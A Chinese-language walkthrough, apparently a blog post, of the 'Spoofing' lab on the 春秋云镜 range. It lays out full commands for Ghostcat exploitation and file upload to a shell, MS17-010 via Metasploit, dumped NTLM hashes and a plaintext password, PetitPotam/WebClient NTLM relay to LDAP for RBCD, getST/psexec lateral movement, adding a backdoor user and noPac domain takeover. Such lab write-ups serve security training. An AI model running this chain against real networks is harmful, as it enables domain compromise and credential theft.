春秋云镜-Spoofing
先用fscan扫一下
就只扫到一个8080 8009端口和一个后台管理系统
其实搜一下就会发现这是个tomcat 访问8080端口的 发现是个纯静态网页 没啥用 直接开扫目录
访问docs目录
有洞 直接去找poc来打
https://github.com/00theway/Ghostcat-CNVD-2020-10487
1 | python3 ajpShooter.py http://39.99.248.175:8080/ 8009 /WEB-INF/web.xml read |
发现有个UploadServlet路由 访问并且上传文件
1 | <% |
上传文件
这个上传路径就是关键了
1 | /upload/95e3563074ba300f4e3f6a806d775b2c/20231025074306680.txt |
然后用上面的工具直接来打
1 | python3 ajpShooter.py http://39.99.248.175:8080/ 8009 /upload/95e3563074ba300f4e3f6a806d775b2c/20231025074306680.txt eval |
root权限直接拿flag就行了
然后收集信息 挂代理扫内网了
信息收集一下 然后整理一下
1 | 172.22.11.76 getshell机器 |
有个MS17 直接打就行了 (这里建议用本地msf打 不然会报错 原因是啥我也不知道)
1 | proxychains4 msfconsole |
然后直接导出本地hash值
1 | XR-DESKTOP$ XIAORANG 0e1f6735dcf951891dbf20a4f0097423 4001c14de86e59f69085d140df5fada9ed2c19ca |
yangmei这个用户可以rdp到ms17这个主机上 跑个sharphound没发现啥有用的信息 于是回到这个题目本身 发现给了个提示 WebClient
(这就是为啥不直接打rbcd的原因 不能创建机器账户是其一 并且也不知道yangmei用户是否有写属性的)
扫描WebClient
1 | proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav |
只有26的这台机器存在Webclient
服务
默认情况下, WebClient 仅对本地内部网 (Local Intranet) 或受信任的站点 (Trusted Sites) 列表中的目标自动使用当前用户凭据进行 NTLM 认证
扫描一下Petitpotam
1 | proxychains crackmapexec smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam |
在奇安信的一篇文章中 总结了所有域强制认证的所有方法
https://forum.butian.net/share/1944
这下子是三台机器存在Petitpotam这个服务了
以下是参考https://www.cnblogs.com/backlion/p/17187375.html 这篇文章来进行编写的
这两个组合起来就会让人联想到一个攻击手法
无ADCS + Petitpotam + ntlm中继打法
攻击链:用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD)
条件 — 目标机器需要开启webclient服务
中继攻击手法
- 实战中的中继打法只需要停掉80占用服务,开启端口转发(portfwd,CS在后续版本中添加了rportfwd_local,直接转发到客户端本地)
- 本次演示类似实战的打法,不选择把impacket丢到入口ubuntu上面这种操作
- 中继攻击环境配置: 端口转发 + 代理
我们目前需要把服务器的80,转发到客户端本地的80
直接上命令
1 | ssh -i ~/.ssh/id_rsa root@39.99.248.175 -D 101.42.39.110:7777 -R \*:79:127.0.0.1:80 |
记得写公钥到getshell主机上
1 | #自己的机器上 |
说明了成功将端口转发到本地了 我们直接使用本地来替代172.22.11.76这台机器
接着本地开启开启ntlmrelayx,利用前面拿下的XR-Desktop作为恶意机器账户设置RBCD,接着使用Petitpotam触发XR-LCM3AE8B认证到172.22.11.76
(用petitpotam触发存在漏洞且开启了webclient服务的目标,利用petitpotam触发目标访问我们的http中继服务,目标将会使用webclient携带ntlm认证访问我们的中继,并且将其认证中继到ldap,获取到机器账户的身份,以机器账户的身份修改其自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,允许我们的恶意机器账户模拟以及认证访问到目标机器 (RBCD))
上面加黑的就是原理了
1 | proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access |
成功使用PetitPotam这个方法 强制使26这台带有webclient的机器去访问 我们的中继服务(并且获取到的权限还将26这台机器的msDS-AllowedToActOnBehalfOfOtherIdentity 属性修改成45这台机器上 这样就变成了RBCD攻击)
接下来申请ST直接去访问26这台机器就行了 (这里的hash值是之前在打上面45这台机器的时候导出的)
1 | proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :0e1f6735dcf951891dbf20a4f0097423 xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6 |
然后无密码连接上去就行了
1 | proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk |
这样的话就拿下第三台机器了
拿下第三个flag
这里的话新创建个用户上去 mimikatz跑一下
1 | net user Ke1nys qwer1234! /add |
这里建议直接用管理员启动 这样方便点
抓取本地hash值
1 | zhanghui 1232126b24cdf8c9bd2f788a9d7c7ed1 |
(这里不直接显示出来 不过不影响 这里就是说zhanghui是MA_Admin组的)
这里的话说zhanghui是MA_Admin组,对computer能够创建对象,能向域中添加机器账户,所以能打noPac
(很是抽象)—————————————-noPac的话我写了一篇文章 感兴趣的话可以去搜来看看
https://github.com/Ridter/noPac
(记得就是把整个文件下载下来运行 不要单拿nopac.py出来运行 否则会报错)
1 | proxychains python3 noPac.py xiaorang.lab/zhanghui -hashes ':1232126b24cdf8c9bd2f788a9d7c7ed1' -dc-ip 172.22.11.6 --impersonate Administrator -create-child -use-ldap -shell |
属实一步到位 直接就新加用户然后改名打noPac
和rbcd是有点像的
这里的话不用那个新添加计算机也行 因为我们本来域中就有机器账户 并且我们还有权限来修改其属性 所以直接用XR-DESKTOP.xiaorang.lab
这台机器就行了
1 | proxychains python3 noPac.py xiaorang.lab/'XR-DESKTOP$' -hashes ':0e1f6735dcf951891dbf20a4f0097423' -dc-ip 172.22.11.6 --impersonate Administrator -no-add -target-name 'XR-DESKTOP$' -old-hash ':0e1f6735dcf951891dbf20a4f0097423' -use-ldap -shell |
题目给的提示